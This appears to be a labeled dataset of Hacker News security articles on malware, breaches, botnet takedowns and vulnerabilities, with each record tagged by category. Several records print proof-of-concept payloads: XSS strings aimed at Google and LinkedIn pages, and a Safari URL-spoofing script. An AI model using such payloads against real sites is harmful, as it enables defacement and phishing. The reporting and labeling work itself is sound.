Idea is the 3rd largest mobile services operator in India. Idea's strong growth in the Indian telephony market comes from its deep penetration in the non-urban and rural markets. IDEA Cellular is an Aditya Birla Group Company, India's first truly multinational corporation. The group operates in 26 countries, and is anchored by over 130,600 employees belonging to 40 nationalities. The Group has been adjudged the '6th Top Company for Leaders in Asia Pacific Region' in 2009, in a survey conducted by Hewitt Associates, in partnership with The RBL Group, and Fortune. The Group has also been rated 'The Best Employer in India and among the Top 20 in Asia' by the Hewitt-Economic Times and Wall Street Journal Study 2007.

Disclaimer
No data has been dumped; zSecure Team randomly tried the security of ideacellular web portal and in our very first attempt they discovered this critical flaw. Since this flaw was discovered in their very first attempt, existence of other flaws can't be denied.

Database has been accessed just to take screenshots so that they can make company believe that the aforesaid flaw actually because most of the companies use to treat the like advisories/disclosure as junk and don't believe the researcher's which may later cause them huge.

As well said zSecure Team respect the confidentiality of Ideacelluar that's why they restricted the contents of their screen-shots to database tables only. W e hope that company Ideacellular will take some immediate steps to fix-up this critical vulnerability asap.
Source

",Vulnerability
Another Malware from Android Market infect Millions of Users,https://thehackernews.com/2012/01/another-malware-from-android-market.html,"Another Malware from Android Market infect Millions of Users


Malware might have infected more than 5 million Android mobile devices via deliberately corrupted apps sold in the Android Marketplace, according to security firm Symantec. They reckoned Android.Counterclank, a slight variant of Android.Tonclank.

Symantec explains that the malicious code appears in a package called ""apperhand"", and a service under the same name can been seen running on the infected device when it's executed. According to Symantec, the Trojan has been identified in 13 different apps in the Android Marketplace.
Symantec's Security Response Team Director, Kevin Haley said:""They don't appear to be real publishers. There aren't rebundled apps, as we've seen so many times before."" Symantec also noted that this slimy piece of malware has the highest distribution of any malware identified so far this year and may actually be the largest malware infection seen by Android users in the operating systems short life.

The malware is actually a Trojan that attacks Android smartphones. Upon installation, it collects a wide scope of data, including the handset maker and bookmark copies. Moreover, it modifies the home page of the browser. As a result, hackers have earned some money from the malware by pushing some unwanted advertisements on the compromised Android devices.One of the reasons why the malware has affected such a huge number of Android users is because they do not bother reading privacy agreements. They simply approve these apps, without even reading information on them.

Symantec stated it had notified Google of the apps hiding malicious code. However, many of the infected entries were still available on the Android Market as of Friday afternoon. For removal of the malware, Symantec is advising smartphone users to uninstall the infected applications and run a mobile antivirus program. It's time Google started taking security much more seriously.

",Malware
Patches for 2 Severe LibreOffice Flaws Bypassed — Update to Patch Again,https://thehackernews.com/2019/08/libreoffice-patch-update.html,"If you are using LibreOffice, you need to update it once again.

LibreOffice has released the latest version 6.2.6/6.3.0 of its open-source office software to address three new vulnerabilities that could allow attackers to bypass patches for two previously addressed vulnerabilities.

LibreOffice is one of the most popular and open source alternatives to Microsoft Office suite and is available for Windows, Linux and macOS systems.

One of the two vulnerabilities, tracked as CVE-2019-9848, that LibreOffice attempted to patch just last month was a code execution flaw that affected LibreLogo, a programmable turtle vector graphics script that ships by default with LibreOffice.

This flaw allows an attacker to craft a malicious document that can silently execute arbitrary python commands without displaying any warning to a targeted user.

Apparently, the patch for this vulnerability was insufficient, as The Hacker News also reported late last month, which allowed two separate security researchers to bypass the patch and re-enable the attack by exploiting two new vulnerabilities, as explained below:


CVE-2019-9850: Discovered by Alex Inführ, the vulnerability in LibreOffice exists due to insufficient URL validation that allows malicious attackers to bypass the protection added to patch CVE-2019-9848 and again trigger calling LibreLogo from script event handlers.



CVE-2019-9851: Discovered by Gabriel Masei, this flaw resides in a separate feature where documents can specify pre-installed scripts, just like LibreLogo, which can be executed on various global script events such as document-open, etc.


The patch for the second vulnerability (CVE-2018-16858) that LibreOffice released in February has successfully been bypassed, re-enabling the directory traversal attack that could allow malicious documents to execute any script from arbitrary locations on the victim's file system.


CVE-2019-9852: Discovered by Nils Emmerich of ERNW Research GmbH, a URL encoding attack could allow attackers to bypass patch for directory traversal attack.


By successfully exploiting all these three vulnerabilities, a remote attacker can silently execute malicious commands on a targeted computer by convincing the victim into just opening a maliciously-crafted document file.

LibreOffice users are highly recommended to update their office software to the latest patched version 6.2.6/6.3.0 as soon as possible in order to avoid becoming victims to any attack exploiting these vulnerabilities.

",Vulnerability
Emotet Malware Destroys Itself From All Infected Computers,https://thehackernews.com/2021/04/emotet-malware-destroys-itself-today.html,"Emotet, the notorious email-based Windows malware behind several botnet-driven spam campaigns and ransomware attacks, was automatically wiped from infected computers en masse following a European law enforcement operation.
The development comes three months after a coordinated disruption of Emotet as part of ""Operation Ladybird"" to seize control of servers used to run and maintain the malware network. The orchestrated effort saw at least 700 servers associated with the botnet's infrastructure neutered from the inside, thus preventing further exploitation.
Law enforcement authorities from the Netherlands, Germany, the U.S., U.K., France, Lithuania, Canada, and Ukraine were involved in the international action.
Previously, the Dutch police, which seized two central servers located in the country, said it had deployed a software update to counter the threat posed by Emotet effectively. ""All infected computer systems will automatically retrieve the update there, after which the Emotet infection will be quarantined,"" the agency noted back in January.
This involved pushing a 32-bit payload named ""EmotetLoader.dll"" via the same channels that were used to distribute the original Emotet to all compromised machines. The cleanup routine, which was set to trigger itself automatically on April 25, 2021, worked by removing the malware from the device, in addition to deleting the autorun Registry key and terminating the process.
Now on Sunday, cybersecurity firm Malwarebytes confirmed that its Emotet-infected machine that had received the specially-crafted time bomb code had successfully initiated the uninstallation routine and removed itself from the Windows system.
As of writing, Abuse.ch's Feodo Tracker shows none of the Emotet servers are online. However, it remains to be seen if this ""final"" blow to the botnet will cause it to bounce back in the future or render it permanently inoperable, paving the way for other cybercrime actors to fill the void.
""Historically, Emotet's operators used long breaks in activity to improve their malware,"" Redscan researchers noted on Friday. ""This means there is a realistic possibility that Emotet's operators will use this opportunity to make the loader malware even more resilient, for example, by using polymorphic techniques to counter future coordinated action. They could also use the Emotet source code to branch off and create smaller, independent botnets.""
The mass action marks the second time law enforcement agencies have intervened to remove malware from compromised machines.
Earlier this month, the U.S. government took steps to remove web shell backdoors dropped by the Hafnium threat actor from Microsoft Exchange servers located in the country that were breached using ProxyLogon exploits.
Following the court-authorized operation, the Federal Bureau of Investigation said it's in the process of notifying all the organizations from which it had removed web shells, implying the intelligence agency accessed the systems without their knowledge.

",Cyber_Attack
Cross Site Scripting (XSS) Vulnerability in Google,https://thehackernews.com/2012/01/cross-site-scripting-xss-vulnerability.html,"Cross Site Scripting (XSS) Vulnerability in Google
Ucha Gobejishvili Hacker with codename ""longrifle0x"" discovered another Cross Site Scripting (XSS) Vulnerability in Google's Website. He already reported about the Vulnerability to Google Security Experts.

Proof of Concept:
Open https://www.google.com/a/cpanel/premier/new3?hl=en and Click Find Domain .
Put xss code: <IFRAME SRC=""javascript:alert('XSS');""></IFRAME>
Another XSS Vulnerabilities Discovered by longrifle0x https://xssed.com/archive/author=longrifle0x/special=1/

",Vulnerability
These Are The FBI's Most Wanted Hackers — Total $4.2 Million Reward,https://thehackernews.com/2015/07/fbi-most-wanted-hackers.html,"The US State Department and the Federal Bureau of Investigation are willing to pay a total $4.2 Million for information leading to the arrest and/or conviction of top 5 most wanted cyber criminals accused of conducting frauds of hundreds of millions of dollars.

Evgeniy Bogachev,30; Nicolae Popescu, 34; Alexsey Belan, 28; Peteris Sahurovs, 26; and Shailesh Kumar Jain, 45; are in the list of FBI's Top 5 most-wanted hackers.

1. Evgeniy Mikhailovich Bogachev | Reward - $3 MILLION

Evgeniy Mikhailovich Bogachev, also known under the aliases ""lucky12345,"" ""Slavik,"" and ""Pollingsoon,"" is the mastermind behind the GameOver Zeus botnet, which was allegedly used by criminals to infect more than 1 Million computers, resulting in up to $100 Million in losses since 2009.

Besides GameOver Zeus botnet, Bogachev is also accused of developing CryptoLocker Ransomware, which was designed to extort money from computer victims by holding their system's files hostage until the victim pays a ransom fee to get them back.

Bogachev tops the FBI target's list with $3 Million in reward for anyone giving the information leading to his direct arrest and/or conviction.

2. Nicolae Popescu | Reward - $1 Million

Nicolae Popescu, who also used the aliases Niculae Popescu, Nae Popescu, Nicolae Petrache, ""Nae"", and ""Stoichitoiu"", second topped the FBI's 5 Most-Wanted Cyber Criminals list.

This 34-year-old Romanian is accused of fooling innocent Americans with fake auction posts on several websites, including eBay, Cars.com, and AutoTrader.com, claiming to sell cars that just didn't exist.

Popescu and other criminal hackers affiliated with the scheme made more than $3 Million off the auctions, victimizing almost 800 users who handed over money for imaginary cars, Rolex watches, yachts, private airplanes, and other luxury goods.

Authorities tracked down and arrested six members of the cyber gang in late 2012, but Popescu and a partner slipped away.

3. Alexsey Belan | Reward - $100,000

Alexsey Belan, a Russian national, is wanted for allegedly stealing consumer data by compromising the cyber security systems of three unnamed major US-based e-commerce sites in Nevada and California between 2012 and 2013.

After stealing and exporting user databases with passwords to his server, Belan is accused of allegedly negotiating the sales of the databases.

4. Peteris Sahurovs | Reward - $50,000

Peteris Sahurovs is accused of developing and selling a computer virus through advertisements on news website pages. He allegedly carried out the scheme from February 2010 to September 2010.

Under the malicious scheme, the fake ads displayed on the web pages forced users to purchase fraudulent antivirus software.

In case, a user refuse to buy the software, the victim's desktop would be flooded with pop-ups and fake security alerts.

Sahurovs, a native of Latvia, made more than $2 Million by selling his ""antivirus"" software.

5. Shailesh Kumar Jain | Reward - $50,000

Shailesh Kumar Jain is the only American citizen on the FBI's Most Wanted Hackers list.

Jain made $100 Million between December 2006 and October 2008, according to the FBI. He used a flood of pop-up ads and email scamming to convince users that their computers were infected with a virus and then selling them the bogus AV software packages for between $30 and $70.

",Malware
FBI Warns Conti Ransomware Hit 16 U.S. Health and Emergency Services,https://thehackernews.com/2021/05/fbi-warns-conti-ransomware-hit-16-us.html,"The adversary behind Conti ransomware targeted no fewer than 16 healthcare and first responder networks in the U.S. within the past year, totally victimizing over 400 organizations worldwide, 290 of which are situated in the country.
That's according to a new flash alert issued by the U.S. Federal Bureau of Investigation (FBI) on Thursday.
""The FBI identified at least 16 Conti ransomware attacks targeting U.S. healthcare and first responder networks, including law enforcement agencies, emergency medical services, 9-1-1 dispatch centers, and municipalities within the last year,"" the agency said.
Ransomware attacks have worsened over the years, with recent targets as varied as state and local governments, hospitals, police departments, and critical infrastructure. Conti is one of many ransomware strains that have capitulated on that trend, commencing its operations in July 2020 as a private Ransomware-as-a-Service (RaaS), in addition to jumping on the double extortion bandwagon by launching a data leak site.
Based on an analysis published by ransomware recovery firm Coveware last month, Conti was the second most prevalent strain deployed, accounting for 10.2% of all the ransomware attacks in the first quarter of 2021.
Infections involving Conti have also breached the networks of Ireland's Health Service Executive (HSE) and Department of Health (DoH), prompting the National Cyber Security Centre (NCSC) to issue an alert of its own on May 16, stating that ""there are serious impacts to health operations and some non-emergency procedures are being postponed as hospitals implement their business continuity plans.""
Conti operators are known for infiltrating enterprise networks and spreading laterally using Cobalt Strike beacons prior to exploiting compromised user credentials to deploy and execute the ransomware payloads, with the encrypted files renamed with a "".FEEDC"" extension. Weaponized malicious email links, attachments, or stolen Remote Desktop Protocol (RDP) credentials are some of the tactics the group used to gain an initial foothold on the target network, the FBI said.
""The actors are observed inside the victim network between four days and three weeks on average before deploying Conti ransomware,"" the agency noted, adding the ransom amounts are tailored to each victim, with recent demands ratcheting up to as high as $25 million.
The alert also comes amid a proliferation of ransomware incidents in recent weeks, even as extortionists continue to seek exorbitant prices from companies in hopes of landing a huge, quick payday. Insurance major CNA Financial is said to have paid $40 million, while Colonial Pipeline and Brenntag have each shelled out nearly $4.5 million to regain access to their encrypted systems.

",Malware
"Wiper, the Destructive Malware possibly connected to Stuxnet and Duqu",https://thehackernews.com/2012/09/wiper-destructive-malware-possibly.html,"Kaspersky Lab publishes research resulting from the digital forensic analysis of the hard disk images obtained from the machines attacked by the Wiper - a destructive malware program attacking computer systems related to oil facilities in Western Asia.


Security researchers from Kaspersky Lab have uncovered information suggesting a possible link between the mysterious malware that attacked Iranian oil ministry computers in April and the Stuxnet and Duqu cyber espionage threats.

The malware wipes data from hard drives, placing high priority on those with a .pnf extension, which are the type of files Stuxnet and Duqu used, and has other behavioral similarities, according to Schouwenberg.

It also deletes all traces of itself. As a result, researchers have not been able to get a sample, but they've reviewed mirror images left on hard drives. Kaspersky's researchers were not able to find the mysterious malware, which was given the name Wiper, because very little data from the affected hard disk drives was recoverable.

Even though a connection to Flame is unlikely, there is some evidence suggesting that Wiper might be related to Stuxnet or Duqu.For example, on a few of the hard drives analyzed, the researchers found traces of a service called RAHDAUD64 that loaded files named ~DFXX.tmp where XX are two random digits from the C:\WINDOWS\TEMP folder.

No one has ever found a sample of Wiper in order to study its code and determine exactly what it did to machines in Iran. According to Kaspersky, the malware's algorithm is ""designed to quickly destroy as many files as effectively as possible, which can include multiple gigabytes at a time.""

Although Flame can be updated by its creators with various modules, including conceivably a module that would destroy data, there has never been any evidence found that Flame had a module that was used to destroy data on machines or wipe out hard drives.

",Vulnerability
Android 4.0.4 multiple Zero-Day Vulnerabilities,https://thehackernews.com/2012/09/android-404-multiple-zero-day.html,"The Samsung Galaxy S3 can be hacked via NFC, allowing attackers to download all data from the Android smartphone, security researchers demonstrated during the Mobile Pwn2Own contest in Amsterdam.

Using a pair of zero day vulnerabilities, a team of security researchers from U.K.-based MWR Labs hacked into a Samsung Galaxy S3 phone running Android 4.0.4 by beaming an exploit via NFC (Near Field Communications).

NFC is a technology that allows data to be sent over very short distances. For mobile devices, the protocol allows digital wallet applications to transfer money to pay at the register. While the technology has been slow to take off, despite the adoption by Google for its Wallet payment application, a number of recent high-profile announcements have boosted its adoption.

""Through NFC it was possible to upload a malicious file to the device, which allowed us to gain code execution on the device and subsequently get full control over the device using a second vulnerability for privilege escalation,"" MWR InfoSecurity said in a statement. ""The same vulnerability could also be exploited through other attack vectors, such as malicious websites or e-mail attachments.""

The attacker, for instance, gets access to all SMS messages, pictures, emails, contact information and much more. The payload is very advanced, so attackers can ""basically do anything on that phone,"" the researchers said.

How this Works:
1.) The first, a memory corruption flaw, was exploited via NFC (by holding two Galaxy S 3s next to each other) to upload a malicious file, which in turn allowed the team to gain code execution on the device.
2.) The malware then exploited a second vulnerability to gain full control over the device using privilege escalation. This undermined Android's app sandbox model, allowing the attackers to install their customised version of Mercury, the company's Android assessment framework.
3.) Mercury was then used to exfiltrate user data on the device (such as contacts, emails, text messages, and pictures) to a remote listener.

Researchers also said that,""Crucially, the ASLR implementation is incomplete in Android 4.0.4, and does not cover Bionic (Android's linker) and /system/bin/app_process, which is responsible for starting applications on the device. Other protections which would make exploitation harder were also found to be absent.""

MWR Labs, which won $30,000 for its hack, is planning a more technical blog post detailing the process of finding and exploiting this bug.

Also, a Dutch research Joost Pol , CEO of Certified Secure, a nine-person research outfit based in The Hague hack into Apple's iPhone 4S from scratch, exploited a WebKit vulnerability to launch a drive-by download when the target device simply surfs to a booby-trapped web site.

They used code auditing techniques to ferret out the WebKit bug and then spent most of the three weeks chaining multiple clever techniques to get a ""clean, working exploit.""

During the Pwn2Own attack, Pol created a web site that included an amusing animation of the Certified Secure logo taking a bite of the Apple logo. The drive-by download attack did not crash the browser so the user was oblivious to the data being uploaded to the attacker's remote server. ""If this is an attack in the wild, they could embed the exploit into an ad on a big advertising network and cause some major damage.""

The duo destroyed the exploit immediately after the Pwn2Own hack. ""We shredded it from our machine. The story ends here, we're not going to use this again. It's time to look for a new challenge,"" Pol said.He provided the vulnerability and proof-of-concept code that demonstrates the risk to contest organizers at HP TippingPoint Zero Day Initiative (ZDI).

",Vulnerability
LinkedIn with Two-factor authentication and Cross Site Scripting Flaw,https://thehackernews.com/2013/06/linkedin-with-two-factor-authentication.html,"Two Factor Authentication is becoming a standard in the enterprise security space in an attempt to dually secure end users against malicious attacks.

Following Dropbox, Google and virtually everyone else, LinkedIn added two-factor authentication to its login process today.

LinkedIn will provide temporary codes for two-factor authentication through SMS messages. The extra step is designed to lessen the chances of computer hackers breaking into user accounts.

To turn on two-step verification on LinkedIn, hit the icon in the top-right corner of the site, click on ""Privacy & Settings,"" and then on ""Manage security settings"" at the bottom.

The site has provided instructions to its 225 million users on how to turn on the optional service.

On other side, today @The_Pr0ph3t, whitehat Hacker from Spain reported a Cross Site Scripting Vulnerability in LinkedIn Developer site (developer.linkedin.com).
Flaw still exists on website at the time of writing, and hacker also reported the flaw to LinkedIn developer team for patch.

Proof of Concept:
https://developer.linkedin.com/search/node/%22%3E%3Csvg/onload%3Dalert%281%29%3B%3E%22%3E%3Csvg/onload%3Dalert%281%29%3B%3E

",Vulnerability
Hackers Exploit Microsoft Browser Bug to Deploy VBA Malware on Targeted PCs,https://thehackernews.com/2021/07/hackers-exploit-microsoft-browser-bug.html,"An unidentified threat actor has been exploiting a now-patched zero-day flaw in Internet Explorer browser to deliver a fully-featured VBA-based remote access trojan (RAT) capable of accessing files stored in compromised Windows systems, and downloading and executing malicious payloads as part of an ""unusual"" campaign.
The backdoor is distributed via a decoy document named ""Manifest.docx"" that loads the exploit code for the vulnerability from an embedded template, which, in turn, executes shellcode to deploy the RAT, according to cybersecurity firm Malwarebytes, which spotted the suspicious Word file on July 21, 2021.
The malware-laced document claims to be a ""Manifesto of the inhabitants of Crimea"" calling on the citizens to oppose Russian President Vladimir Putin and ""create a unified platform called 'People's Resistance.'""
The Internet Explorer flaw, tracked as CVE-2021-26411, is notable for the fact that it was abused by the North Korea-backed Lazarus Group to target security researchers working on vulnerability research and development.
Earlier this February, South Korean cybersecurity firm ENKI revealed the state-aligned hacking collective had made an unsuccessful attempt at targeting its security researchers with malicious MHTML files that, when opened, downloaded two payloads from a remote server, one of which contained a zero-day against Internet Explorer. Microsoft addressed the issue as part of its Patch Tuesday updates for March.
The Internet Explorer exploit is one of the two ways that's used to deploy the RAT, with the other method relying on a social engineering component that involves downloading and executing a remote macro-weaponized template containing the implant. Regardless of the infection chain, the use of double attack vectors is likely an attempt to increase the likelihood of finding a path into the targeted machines.
""While both techniques rely on template injection to drop a full-featured remote access trojan, the IE exploit (CVE-2021-26411) previously used by the Lazarus APT is an unusual discovery,"" Malwarebytes researcher Hossein Jazi said in a report shared with The Hacker News. ""The attackers may have wanted to combine social engineering and exploit to maximize their chances of infecting targets.""
Besides collecting system metadata, the VBA RAT is orchestrated to identify antivirus products running on the infected host and execute commands it receives from an attacker-controlled server, including reading, deleting, and downloading arbitrary files, and exfiltrate the results of those commands back to the server.
Also discovered by Malwarebytes is a PHP-based panel nicknamed ""Ekipa"" that's used by the adversary to track victims and view information about the modus operandi that led to the successful breach, highlighting successful exploitation using the IE zero-day and the execution of the RAT.
""As the conflict between Russia and Ukraine over Crimea continues, cyber attacks have been increasing as well,"" Jazi said. ""The decoy document contains a manifesto that shows a possible motive (Crimea) and target (Russian and pro-Russian individuals) behind this attack. However, it could also have been used as a false flag.""

",Malware
Pakistan Government servers messed up after security breach,https://thehackernews.com/2013/03/pakistan-government-servers-messed-up.html,"Today a cyber attack on Pakistan Government servers crash many Government departments's official websites including Ministry of Information Technology, Ministry of Railways, Ministry of Economic Affairs & Statistics, Ministry of Interior, Ministry of Religious Affairs, Ministry of Science and Technology, Ministry of Environment and many more.
Indian Hacker 'Godzilla' continue to strike Pakistan Government because of their support to terrorism activities. Hacker said,""all network owned including switches because they deserve it, I have not touched any innocent website because target is only Government""

While Pakistani official are already aware about the risk from the newest viruses, worms and cyber attacks, so they having their servers running through a proxy server located at https://202.83.164.6/ ,but flawed cyber security practices once again results to messed up whole setup and hacker successfully breach into centralized local server located at 192.168.70.103 b/w website hosting server & proxy server at machine.


Hacker claimed to breach this centralized IBM server with Layer 2-3 Gigabit Ethernet Switch Module for IBM eServer, BladeCenter. This IBM server further connected to 22 local machines that were used to build the proxy server, that was securing the digital cyber space of Pakistan.

""They are running it through a local system 192.168.70.103 which is been shut down as we have access of the switch"" he said.

After attack, shutdown of above server

Websites under attack:
www.moitt.gov.pk
www.railways.gov.pk
www.ead.gov.pk
www.interior.gov.pk
www.ipc.gov.pk
www.mora.gov.pk
www.establishment.gov.pk
www.housing.gov.pk
www.mosp.gov.pk
www.planningcommission.gov.pk
www.minorities.gov.pk
www.lgrd.gov.pk
www.moenv.gov.pk
More than 24 hours, the Gateway of Pakistan website (https://www.pakistan.gov.pk/) was also down because of same security breach, but official managed to recover that server after removing routing that one via same targeted proxy server.

Hacker also claimed to have access to File server of Pakistan Government. Network and server admins are working hardly to fix the issue generated after security breach, at the time of reporting this news,above listed all sites are down.

",Cyber_Attack
Watering Hole Attack Was Used to Target Florida Water Utilities,https://thehackernews.com/2021/05/watering-hole-attack-was-used-to-target.html,"An investigation undertaken in the aftermath of the Oldsmar water plant hack earlier this year has revealed that an infrastructure contractor in the U.S. state of Florida hosted malicious code on its website in what's known as a watering hole attack.
""This malicious code seemingly targeted water utilities, particularly in Florida, and more importantly, was visited by a browser from the city of Oldsmar on the same day of the poisoning event,"" Dragos researcher Kent Backman said in a write-up published on Tuesday.
The site, which belongs to a Florida-based general contractor involved in building water and wastewater treatment facilities, had no bearing on the intrusion, the American industrial cybersecurity firm said.
Watering hole attacks typically allow an adversary to compromise a specific group of end-users by compromising a carefully selected website, which members of that group are known to visit, with an intention to gain access to the victim's system and infect it with malware.
In this specific case, however, the infected website didn't deliver exploit code or attempt to achieve access to visitors' systems. Instead, the injected code functioned as a browser enumeration and fingerprinting script that harvested various details about the website's visitors, including operating system, CPU, browser (and plugins), input methods, presence of a camera, accelerometer, microphone, time zone, locations, video codecs, and screen dimensions.
The collected information was then exfiltrated to a database hosted on a Heroku app site (bdatac.herokuapp[.]com) that also stored the script. The app has since been taken down. Dragos suspects a vulnerable WordPress plugin may have been exploited to insert the script into the website's code.
No fewer than 1,000 end-user computers visited the infected site during the 58-day window beginning Dec. 20, 2020, before it was remediated on Feb. 16, 2021. ""Those who interacted with the malicious code included computers from municipal water utility customers, state and local government agencies, various water industry-related private companies, and normal internet bot and website crawler traffic,"" Backman said.
""Dragos' best assessment is that an actor deployed the watering hole on the water infrastructure construction company site to collect legitimate browser data for the purpose of improving the botnet malware's ability to impersonate legitimate web browser activity,"" the researcher added.
Based on telemetry data gathered by the company, one among those 1,000 visits came from a computer residing in the network belonging to the City of Oldsmar on Feb. 5, the same day an unidentified adversary managed to increase sodium hydroxide dosage in the water supply to dangerous levels by remotely accessing the SCADA system at the water treatment plant.
The attackers were ultimately foiled in their attempt by an operator, who managed to catch the manipulation in real-time and restored the concentration levels to undo the damage. The unauthorized access is said to have occurred via TeamViewer remote desktop software installed on one of the plant's several computers that were connected to the control system.
The Oldsmar plant cyberattack, and more recently the Colonial Pipeline ransomware incident, have set off concerns about the potential for tampering with industrial control systems deployed in critical infrastructure, prompting the U.S. government to take steps to bolster defenses by protecting federal networks and improving information-sharing between the U.S. government and the private sector on cyber issues, among others.
""This is not a typical watering hole,"" Backman said. ""We have medium confidence it did not directly compromise any organization. But it does represent an exposure risk to the water industry and highlights the importance of controlling access to untrusted websites, especially for Operational Technology (OT) and Industrial Control System (ICS) environments.""

",Cyber_Attack
Apple Safari Browser Vulnerable to URL Spoofing Vulnerability,https://thehackernews.com/2015/05/safari-url-spoofing.html,"A serious security vulnerability has been uncovered in Apple's Safari web browser that could trick Safari users into visiting a malicious website with the genuine web address.

A group of researchers, known as Deusen, has demonstrated how the address spoofing vulnerability could be exploited by hackers to fool victim into thinking they are visiting a trusted website when actually the Safari browser is connected to an entirely different address.

This flaw could let an attacker lead Safari users to a malicious site instead of a trusted website they willing to connect to install malicious software and steal their login credentials.

The vulnerability was discovered by the same group who reported a Universal Cross Site Scripting (XSS) flaw in all the latest patched versions of Microsoft's Internet Explorer in February this year that put IE users' credentials and other sensitive information at risk.

The group recently published a proof-of-concept exploit code that makes the Safari web browser to display the Daily Mail's website (dailymail.co.uk) although the browser is displaying the contents from deusen.co.uk.

The POC works on fully patched versions of Apple's mobile operating system (iOS) as well as desktop operating system (OS X).

What's even worse?

The vulnerability could be exploited by hackers to launch highly credible phishing attacks or hijack users' accounts on any website.

Instead of Daily Mail website, a hacker could use a bank website and then inject a rogue form asking the user for private financial information.

Based on a quick analysis, the demo page appears to force Safari user to visit the daily mail URL, as you can see in the browser's user interface. The script quickly loads another URL before the page can be loaded.

The script looks like the following:
<script> function f() { location=""dailymail.co.uk/home/index.htm…""+Math.random(); } setInterval(""f()"",10); </script>
At this point, Apple has not confirmed that whether the vulnerability is actively exploited by the cyber criminals in the wild. However, Apple has yet to comment on the issue.

",Vulnerability
Europol Takes Down RAMNIT Botnet that Infected 3.2 Million Computers,https://thehackernews.com/2015/02/europol-takes-down-ramnit-botnet-that.html,"It seems like the world has declared war against the Cyber Criminals. In a recent update, we reported that FBI is offering $3 Million in Reward for the arrest of GameOver Zeus botnet mastermind, and meanwhile British cyber-police has taken down widely-spread RAMNIT botnet.

The National Crime Agency (NCA) in a joint operation with Europol's European Cybercrime Centre (EC3) and law enforcement agencies from Germany, Italy, the Netherlands, and the United Kingdom has taken down the Ramnit ""botnet"", which has infected over 3.2 million computers worldwide, including 33,000 in the UK.

Alike GameOver Zeus, RAMNIT is also a 'botnet' - a network of zombie computers which operate under criminal control for malicious purposes like spreading viruses, sending out spam containing malicious links, and carrying out distributed denial of service attacks (DDoS) in order to bring down target websites.

RAMNIT believes to spread malware via trustworthy links sent through phishing emails or social networking sites, and mainly target people running Windows operating systems in order to steal money from victims bank accounts. Moreover, public FTP servers have also been found distributing the malware.

Once installed, the infected computer comes under the control of the botnet operators. The module inadvertently downloads a virus onto the victim's computer which could be used by operators to access personal or banking information, steal passwords and disable anti-virus protection.

RAMNIT SHUT-DOWN IN AN OPERATION
In a statement on Tuesday, Europol revealed that the successful take-down of Ramnit botnet involved the help of Microsoft, Symantec and AnubisNetworks. The groups shut down the botnet's command and control infrastructure and redirected traffic from a total of 300 domain addresses used by Ramnit criminal operators.
""This successful operation shows the importance of international law enforcement working together with private industry in the fight against the global threat of cybercrime,"" said Wil van Gemart, Europol's deputy director of operations. ""We will continue our efforts in taking down botnets and disrupting the core infrastructures used by criminals to conduct a variety of cybercrimes.""
NASTY FEATURES OF RAMNIT BOTNET
Symantec says that Ramnit has been around for over four years, first originating as a computer worm. According to the anti-virus firm, Ramnit is a ""fully-featured cybercrime tool, featuring six standard modules that provide attackers with multiple ways to compromise a victim."" The features are:
SPY MODULE - This is one of the most powerful Ramnit features, as it monitors the victim's web browsing and detects when they visit online banking sites. It can also inject itself into the victim's browser and manipulate the bank's website in such a way that it appears legitimate and easily grab victim's credit card details.
COOKIE GRABBER - This steals session cookies from web browsers and send them back to the Ramnit operators, who can then use the cookies to authenticate themselves on websites and impersonate the victim. This could allow an attacker to hijack online banking sessions.
DRIVE SCANNER - This scans the computer's hard drive and steals files from it. The scanner is configured in such a way that it searches for specific folders which contain sensitive information such as victims' passwords.
ANONYMOUS FTP SERVER - By connecting to this server, the malware lets attackers remotely access the infected computers and browse the file system. The server can be used to upload, download, or delete files and execute commands.
VIRTUAL NETWORK COMPUTING (VNC) MODULE - This feature provides the attackers with another means to gain remote access to the compromised computers.
FTP GRABBER - This feature allows the attackers to gather login credentials for a large number of FTP clients.
WHY BOTNET RE-EMERGE AFTER TAKEDOWNS ?
According to the authorities, Ramnit botnet has been taken down, but is it guaranteed that the botnet will not re-emerged again? We have seen the took down of GameOver Zeus botnet by FBI and Europol as well, but what happened at last? Just after a month, GameOver Zeus botnet again came into operation with more nasty features.

So, What went wrong? Why Botnet take downs are ineffective? One reason could be that the organisations grab and take-down only a small fraction of command-and-control domains that build up the Botnet critical infrastructure, but leaves a majority of fraction active. This takes some months for a botnet operator to recover.

As more and more botnet networks are taken down by Law Enforcement, cyber criminals are increasingly using secondary communication methods, such as peer-to-peer or domain generation algorithms (DGA).

One of the main reasons that the Botnet re-emerged is because the author of the malware didn't get arrested. No matter how many domains are taken down or how many sinkholes researchers create, if the attackers are not arrested, nobody can stop them from building new Botnet from zero.

On this we really appreciate the FBI step to reward $3 Million for the information leading to the direct arrest or conviction of Evgeniy Mikhailovich Bogachev, the alleged author of GameOver Zeus botnet that was used by cybercriminals to steal more than $100 Million from online bank accounts.

",Malware
HackerProof : Your Guide To PC Security,https://thehackernews.com/2012/10/hackerproof-your-guide-to-pc-security.html,"With over 140,000 known computer viruses and 85,000,000 spam emails sent out each day, the likelihood of your PC coming into contact with malware such as viruses, worms, and spyware is almost guaranteed.

It is very important to secure your computer just like you would secure your house or car. Your computer can be completely taken over without your permission or knowledge if it is vulnerable and connected to the Internet. Hackers constantly scan the Internet looking for vulnerable hosts, and a computer can be infected by a worm or virus within 15 minutes of connecting to the Internet if certain precautions are not taken.

You can avoid most common infections by taking just a few steps, Here is an overview of PC security best practices and tips - ""HackerProof : Your Guide To PC Security"" This 53 page guide provides an objective, detailed, but easily understood walk through of PC security. By the end of this guide, you will know exactly what PC security means and, more importantly, what you need to do to keep your PC secure.

Book includes:
The history and types of modern malware
Which operating system is most secure
Good security habits that keep you safe
Software that can protect you
The importance of backing up your data
Recovering from a malware attack
Download ""HackerProof"" Guide

Subscribe to our Daily Newsletter via email - Be First to know about Security and Hackers. or Join our Huge Hackers Community on Facebook, Google+ and Twitter.

",Malware
miniFlame - A New cyber espionage malware discovered,https://thehackernews.com/2012/10/miniflame-new-cyber-espionage-malware.html,"Kaspersky has discovered new malware dubbed 'miniFlame', cyber espionage software directly linked to Flame. This new nation-state espionage malware that has ties to two previous espionage tools known as Flame and Gauss, and that appears to be a ""high-precision, surgical attack tool"" targeting victims in Lebanon, Iran and elsewhere.

miniFlame, also known as SPE, was found by Kaspersky Lab's experts in July 2012, and was originally identified as a Flame module. But originally MiniFlame seems to be used to gain control of and obtain increased spying capability over select computers originally infected by the Flame and Gauss spyware.

